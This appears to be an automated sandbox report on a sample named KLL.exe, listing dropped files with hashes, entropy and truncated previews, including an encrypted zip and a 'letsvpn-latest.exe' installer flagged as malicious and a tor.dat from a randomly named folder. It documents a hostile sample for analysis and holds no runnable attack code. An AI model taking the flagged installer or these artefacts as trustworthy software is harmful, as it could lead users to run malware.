SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugW:gJjJGtpTq2yv1AuNZRY3diu8iBVqFA
MD5:	D0DA9F4B9183D63DC93B37438170D63F
SHA1:	0FC671D652C0689249E1EE7958C633ED080A1F75
SHA-256:	C6655644557ADB7EB12145C1005F3AE66017557288F63F5EF9A44C68D8B15513
SHA-512:	B82E1A007F391F2EB3ADA5F2B0F97B0BB3CD5FCEB6220246FC2495AF7176473CB87262DE7A59F15A2C9D9D237841CA773E9D6F0932C2410C919A9F514936D02F
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x67fe57ea, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585006454506224
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/AxrO1T1B0CZSJWYkr3g16n2UPkLk+kdbI/0uznv0M1Dn/didMV:5aza6xhzA2U8HDnAPZ4PZf9h/9h
MD5:	90E29FB5EA2D2EE29AC6D9D2617A80A9
SHA1:	86E70FE9B3DA089FDFE4FE0F11C7AA382D331833
SHA-256:	AB12AF45B19D21EBB84035148BFDEE4D1BB83B4EA1AA0781BED9CC3F6F1BB68D
SHA-512:	2A50B53132491FC9009CE38D92C5B0ADD4772FFF806BE26B174C1D30FA2373FFF93202593501267483D7A7F41A3B60E40DBA9F5512587062211AC4CB4C753716
Malicious:	false
Preview:	g.W.... ...............X\...;...{......................T.~.....'....\|Y......\|..h.\|.....'....\|Y.T.~.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{...................................?U.'....\|Y..................>{.'....\|Y..........................#......T.~.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07867117075988718
Encrypted:	false
SSDEEP:	3:FSXUetYeO0C1492ljKxSll58Kgvvl/QoeP/ll:mzm1499Uz8KgR+t
MD5:	5A51F819271E5FDEEDC0D24538537373
SHA1:	8CD3698D514ECB198B07C305FA418D3F321370BC
SHA-256:	CEA5912832E0270B32113D2F9FDCE23E3DFBAFEDF011F7E73A5F97F201EB2AF8
SHA-512:	DF3680362C11B83F9429E392A803CF8A2B06EF99DB48E1A11BF3D36E6F433ED36FCA9213FF505F7940FC3CE0713742E3FF73B3B1572CE3210A425C3EC7917A2B
Malicious:	false
Preview:	O..l.....................................;...{.......\|..'....\|Y.........'....\|..'....\|Y..5.C'....\|;..................>{.'....\|Y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ckq

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	15276447
Entropy (8bit):	7.998753884111449
Encrypted:	true
SSDEEP:	393216:8JJ1AboWROo2Q3d2sMNJ+Hmasukzz34qx4:8JJ1AtROo1YsM6Hmad+oH
MD5:	9437D784A2E279B14A4DC3CF259476FA
SHA1:	EC9664C8EF8750024002FD26E965BC003908D546
SHA-256:	885043FA2833789BE359A5C012076BC83F509DD4E70CA237A61B9C767ABB15D4
SHA-512:	97DBEE4E312921BF603BE17315E5DB6072FB460F70DFA464F54EB9543A39CED7FC7797B8B798ABEF579EF575610607FE908982AC983DA1AD3BB16B037BEA176D
Malicious:	false
Preview:	PK.........Y.X6L<.....(.......letsvpn-latest.exe.}xT.7..+.$.f.........h..8D'$.>..Cf@..!.d..&{#.D.w.l7......9........E<...%.Q.G!.....q...a.....g..s.<....^..^'...^..Z.^....Z;.{.0.c..i..d.........].........iX...KC..y.M..6..[U.n]...@]^....~]^.._...u333...0~}..-...M...+>.............f............BT.....fl....~.pO2m.......B.y#cV.)D...5.:>R.x...._..i...^..=......c/R.1.u....z.c........U.?.).m..)..P..A.?y..?.iu.P....c..a.......z1.........*.5s].`...k.G].....q.............W~..Aip..b....]....LiA.C.T+.....D.&.4..L~.......J.y.G./..<+.YR.y&.m..Y=-.iJ.T7.)+ZQ.(...n.....J......W.M{d..G...O.!..I.....W<..[9...XJ5..E.....a.......]....y..k9....2..l.....3....l..V..-.}...I...:m.l-g)jut..P....@..,....j%..E.m........R..#..N....7....,Cj......].IGI;..[Y.u.=..,.7o....)G\|.Gs...P....{.......h....)o....H...X....i~...n....^.q@.9...b..N._..........Ch:x..{..i....j+....a.W.P......d..P.TX....b.MH..5O..:sx'.=.]...s..y..N.H...V..l.Y.>...L.{d.. X...%........t...+.ZF.pNj.3!

C:\ProgramData\letsvpn-latest.exe

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	15382056
Entropy (8bit):	7.99696244933667
Encrypted:	true
SSDEEP:	196608:Lz/DARUOMn1C69maJR/v/IMUMeaxI7cXRFhGaJ26TpB+cKdFy65Fo+uLEeBYk5rW:HDp/9mEvZUMecIUGaJfOdFy65UDKZR
MD5:	7CE62DC191CEE9DD1488C9D0A25FEDA4
SHA1:	6A93A38644691389622E1C5CDD3BAF3CA429D0C1
SHA-256:	6342D9126585047B6ECE614946B139FF3CC98ACA024CE368FADCEE1DDFE0D88E
SHA-512:	1FAC206D9D52CC1054283948119F6C830367724F46BF4572F843855BEEE7E4CAA0BC17FEC09E725404E5880DCE15742BC5E40A6EC8CC21A2D6799232BA7D293D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...<.oZ.................h...........3............@..........................@...........@..........................................p..............@....+...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata... ...P...........................rsrc........p......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\tor.dat

Download File

Process:	C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	28
Entropy (8bit):	3.8248629576173565
Encrypted:	false
SSDEEP:	3:8VEoc2RDIXMSivYn:8Vu2DqMSivYn
MD5:	02D1D0648E2933F7E8E59875C1BC22E9
SHA1:	24A8959FEF49A0B7A9C87E47C3A077F587B49C6A
SHA-256:	AAC8B1BACAAE9959E25145CC2EE12A2B58DD0EB57898A6E5EFDEC35A5EE75B73
SHA-512:	648D38860C30A69662F42D5F51312F9C6BD7B769494E0B94D174942EB31722632928541526FCF89350EB579BCA06589FC7FE2AC9161B716BFA3730425DD5AD8C
Malicious:	false
Preview:	tLa0utG2t9G0tsa1try1s7y6tqY=

C:\Users\user\AppData\Local\LetsVPN\LetsPRO.exe_Url_0oczbjylb1galocprl35cp3mvj2urvw0\AppCenter.config (copy)

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	199
Entropy (8bit):	5.092546964083366
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCQcIMOofqRqLVuXKCWAa8LDMBlTqqUJmElDs/tdUbDR2FNvNF9U/:TMVBd1IGpOSAMBluq8hsVKRMG3QIT
MD5:	18D3A70FA33036BDF49F8A8813D0550D
SHA1:	63AA8DE4EAEAE84EAEAC9DC584EDE83C38FFB286
SHA-256:	06275466AE3A9F31CBBB78AF216EDCC7B03259D552F2388B37D10ED86E86EBF6
SHA-512:	E324618C60A88491D241B4A2C9DE46AA91CAB44E7AB60503C8CDDE40CE22EE1860BEE8A62595AB84B6741B47BFFC9F8705943B812431B3E437267EEDC8D84D45
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterInstallId" value="11b34eaf-38c1-4dc5-a6f2-b3810091df49" />.. </appSettings>..</configuration>

C:\Users\user\AppData\Local\LetsVPN\LetsPRO.exe_Url_0oczbjylb1galocprl35cp3mvj2urvw0\kkqxltwj.newcfg

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	199
Entropy (8bit):	5.092546964083366
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCQcIMOofqRqLVuXKCWAa8LDMBlTqqUJmElDs/tdUbDR2FNvNF9U/:TMVBd1IGpOSAMBluq8hsVKRMG3QIT
MD5:	18D3A70FA33036BDF49F8A8813D0550D
SHA1:	63AA8DE4EAEAE84EAEAC9DC584EDE83C38FFB286
SHA-256:	06275466AE3A9F31CBBB78AF216EDCC7B03259D552F2388B37D10ED86E86EBF6
SHA-512:	E324618C60A88491D241B4A2C9DE46AA91CAB44E7AB60503C8CDDE40CE22EE1860BEE8A62595AB84B6741B47BFFC9F8705943B812431B3E437267EEDC8D84D45
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterInstallId" value="11b34eaf-38c1-4dc5-a6f2-b3810091df49" />.. </appSettings>..</configuration>

C:\Users\user\AppData\Local\Microsoft\AppCenter\11b34eaf-38c1-4dc5-a6f2-b3810091df49\Logs.db

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3031001, file counter 14, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 14
Category:	modified
Size (bytes):	12288
Entropy (8bit):	2.0182092358677366
Encrypted:	false
SSDEEP:	192:NHeGHEC798BL0HE9vHEC798BhKZHEC798BW:Ndci8d
MD5:	D94163C94B2BEB16927CB35EF7C8B41C
SHA1:	17C3CAE9A2E7C7AAF9ABE6815986E540460E2763
SHA-256:	CE45E19BB97D6106E2F01AC204F1EE9CB2216D7B20B51360FDAE9C37ECB3E5D0
SHA-512:	ECD1344BA35A7CAFE4C44FF5F887F195D3EF7278D9D4449FFD3DB6241664FA097E3A85363B64DE811CFF626C42F2899700225CCE842E7641E307086A13DF2ED6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................?.........\|.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\AppCenter\11b34eaf-38c1-4dc5-a6f2-b3810091df49\Logs.db-journal

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.6654522776515845
Encrypted:	false
SSDEEP:	192:7ieGHEC798BL0HE9vHEC798BhKZHEC798B0F:7CMi8pF
MD5:	686EFAA2944435E136F18CABE747C9E4
SHA1:	B3DCA4DAE327F5FB5A5BB734B6407C36C3C07225
SHA-256:	10C8F12BAFFA89AC9B835F3926602BE4CEDAA9538709343CEF70AA2F4B51271F
SHA-512:	37C5D60D4C2485CF9F0BD9FA162567C426B01676C9C81C70A6EE6DB2E291CEB54E3085A3C4000D5200A87971D5DEB30A7A64D4E17336964CB750B721D2C17AEB
Malicious:	false
Preview:	.... .c.......u........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... .. . ........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LetsPRO.exe.log

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	5.348163999675204
Encrypted:	false
SSDEEP:	48:MxHKlYHKh3ouHgJHreylEHMHKo/tHo6hAHKzeYHKU57UjHKtHKMRtHj:iqlYqh3ou0aymsqwtI6eqzVqU57Ujqtp
MD5:	1D015055F59E3C59A292A836E94902DB
SHA1:	6606627C577A8D9FBB362C0FFFD5E500295CA4AC
SHA-256:	D72DA6BAE429BF4A293DF3A8B637CC821491A9585DEA47553D6753A50D6EE519
SHA-512:	C2484FDCB22662B80659A9BD978CB1995D1C7912E6E24AABCF917862DB74F900B4775A24EE922B7A9B41CA48B5EF82C2E13C951D2CAD716B86FA11E1687C2EFA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\4d760e3e4675c4a4c66b64205fb0d001\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\17470ef0c7a174f38bdcadacc3e310ad\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	data
Category:	dropped
Size (bytes):	34383
Entropy (8bit):	5.053402703870376
Encrypted:	false
SSDEEP:	768:QPV3IpNBQkj2Ph4iUxsfrRJv5FqvXhARlardFRgrOdBPtAHkDNZbNKeCMiYo6:QPV3CNBQkj2Ph4iUxsflJnqv6qdPgrOf
MD5:	D63CB5E171D7FCFE28C9E904F6855F08
SHA1:	8C6B004EC20FF61EF4CA9EAFA6F0254364A960AB
SHA-256:	F081E30CF5BB68206C7A59B83BC914B9BD2ED59FBEE26843075D2D0CD7393354
SHA-512:	E9F534C0087182A51D5BE60E14FA992B2B933F444D32C2A2DBA3C7D4FCD6A1F418CF7A6A8B37165A61ED4D5B096716308035E117199A5B94FA796B58C041DB74
Malicious:	false
Preview:	PSMODULECACHE.......CB.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DirectAccessClientComponents\DirectAccessClientComponents.psd1........Set-DAEntryPointTableItem....#...Set-DAClientExperienceConfiguration...."...Enable-DAManualEntryPointSelection........Get-DAEntryPointTableItem........Reset-DAEntryPointTableItem....%...Reset-DAClientExperienceConfiguration........Remove-DAEntryPointTableItem........New-DAEntryPointTableItem....#...Get-DAClientExperienceConfiguration....#...Disable-DAManualEntryPointSelection........Rename-DAEntryPointTableItem.........{HB.z..S...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\NetSwitchTeam\NetSwitchTeam.psd1........Get-NetSwitchTeam........Add-NetSwitchTeamMember........Get-NetSwitchTeamMember........Remove-NetSwitchTeamMember........New-NetSwitchTeam........Rename-NetSwitchTeam........Remove-NetSwitchTeam..........zB.z..E...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\NetQos\NetQos.psd1........Get-NetQosPolicy........Remove-Ne

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2240
Entropy (8bit):	5.363279844300156
Encrypted:	false
SSDEEP:	48:bWSU4xymI4RfoUeW+gZ9tK8NPP8xL7u1iMuge//YPUyuE:bLHxvIIwLgZ2KHuLOugQE
MD5:	3F1015DE398B975FD9497E9D92BB41F5
SHA1:	FA487D266038A9477F3E3C394C937DDAA2E6938D
SHA-256:	8B21E337C805EDBDDD2580FC1B389433966E984FD2420951C42FA9A30254A596
SHA-512:	9A7F3AA7DC11FEF44A146F03BBE7B9F49A694CC88EA4783250C9B973728E7F10456F6E701EE0C075A082F0352AF4838DDCCCF838B07D4C1132D45039E7A5CEAC
Malicious:	false
Preview:	@...e...........................................................P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2otfnffw.3m3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_41nr2jv0.bub.ps1

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bn40ojjt.ofz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_br22yung.zsx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fjvctlch.5uc.psm1

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhz5vpae.yj0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jenj0mog.0uk.psm1

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kekjmhry.fbb.ps1

Download File

Process:	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tu10sjd5.mqc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x1lhdlb3.s1b.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\System.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.890541747176257
Encrypted:	false
SSDEEP:	192:X24sihno0bW+l97H4GB7QDs91kMtwtobTr4u+QHbazMNHT7dmNIEr:m8vJl97JeoxtN/r3z7YV
MD5:	75ED96254FBF894E42058062B4B4F0D1
SHA1:	996503F1383B49021EB3427BC28D13B5BBD11977
SHA-256:	A632D74332B3F08F834C732A103DAFEB09A540823A2217CA7F49159755E8F1D7
SHA-512:	58174896DB81D481947B8745DAFE3A02C150F3938BB4543256E8CCE1145154E016D481DF9FE68DAC6D48407C62CBE20753320EBD5FE5E84806D07CE78E0EB0C4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....oZ...........!..... ...........).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...x....@.......(..............@....reloc..~....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\modern-header.bmp

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PC bitmap, Windows 3.x format, 150 x 57 x 8, image size 8666, resolution 2834 x 2834 px/m, 255 important colors, cbSize 9740, bits offset 1074
Category:	dropped
Size (bytes):	9740
Entropy (8bit):	6.554125039233327
Encrypted:	false
SSDEEP:	192:bDIK82wKywC116+rwdTKMRjwgKhww4R1jwlIHvNbmwQo8TTJG4:bv82wKywC7DrwdTKMRjwgKhwwY1jwlQq
MD5:	5ACF495828FEAE7F85E006B7774AF497
SHA1:	5D2EEF3EEBB9A72678DCCD404475341116508306
SHA-256:	6CFEBB59F0BA1B9F1E8D7AA6387F223A468EB2FF74A9ED3C3F4BB688C2B6455E
SHA-512:	D1D40C88E2167315A309005B831ACBEAB0919D5A3B1FF5AAA273DB945C8818FC2118EFDB503E4BDA055F309306E72224F54DEF0B1F0AB6F61FE4DBA66784ED68
Malicious:	false
Preview:	BM.&......2...(.......9............!..................,...788.WXX.................................................................h...;m..i...f...O...l...)J[. :G.n...p...o...%AO.....y...W.......o...........8O[.C^l...........#.....................................p...........................................................?AB.....;....+;.>...+y..4....BY.V...f...H...5bz.%DU.j...j...h...d...b...W...N...]....0<.m...Dy..3Zo.c...U...q....Pb.s...v...v...M...y...{...q...}...}.......y............+3.............g...................................Nn..Hfv.................&5=.................................................................................................................................^s~.............................................................................................................................8....Tt.G....!+..........%..................................................\gn.............................................#$%.oqs.....zz{...................................

C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\modern-wizard.bmp

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PC bitmap, Windows 3.x format, 164 x 314 x 8, image size 51498, resolution 2834 x 2834 px/m, 255 important colors, cbSize 52572, bits offset 1074
Category:	dropped
Size (bytes):	52572
Entropy (8bit):	7.144132089574
Encrypted:	false
